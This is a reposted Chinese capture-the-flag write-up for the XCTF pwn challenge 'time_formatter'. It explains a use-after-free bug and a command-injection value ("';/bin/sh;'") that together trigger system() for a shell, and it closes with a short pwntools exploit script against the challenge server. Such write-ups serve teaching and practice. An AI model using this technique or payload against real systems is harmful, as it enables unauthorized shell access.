[攻防世界 pwn]——time_formatter(内涵peak小知识)
生活随笔
收集整理的這篇文章主要介紹了
[攻防世界 pwn]——time_formatter(内涵peak小知识)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[攻防世界 pwn]——time_formatter
- 題目地址: https://adworld.xctf.org.cn/
- 題目:
這是一道堆利用的題, UAFF(use After Free)漏洞。
peak小知識
ls ,cat flag , /bin/sh, 會挨個執行
老規矩還是先checksec一下
在IDA中查看一下反匯編的源代碼
sub_400D26()函數是為了讓你們輸入選項。
我們仔細看看各個代碼,
選項1,申請空間
選項5,釋放ptr 和value的空間,但是都沒有指向NULL。指針仍然指向原空間。
選項4里面有我們, 心中年年不忘的system函數。首先它判斷ptr是否為空,我們只要讓ptr等于"/bin/sh"就可以獲得shell了
在選項3中,也是申請一個新的堆空間,ptr釋放后沒有指向NULL, 新申請的空間也就是ptr指向的空間
思路
- 選擇選項1,申請空間
- 選擇選項5,釋放空間,但是不退出程序
- 選擇選項3,將釋放的空間重新申請,并寫入 “/bin/sh”
- 選擇選項4,獲得shell
exploit
from pwn import * p = remote("111.200.241.244",57231)p.sendlineafter("> ","1") p.sendlineafter("Format: ","A") p.sendlineafter("> ","5") p.sendlineafter("Are you sure you want to exit (y/N)? ",'N') p.sendlineafter("> ","3") p.sendlineafter("Time zone: ","';/bin/sh;'") p.sendlineafter("> ","4") p.interactive()總結
以上是生活随笔為你收集整理的[攻防世界 pwn]——time_formatter(内涵peak小知识)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [攻防世界 pwn]——warmup
- 下一篇: [攻防世界 pwn]——welpwn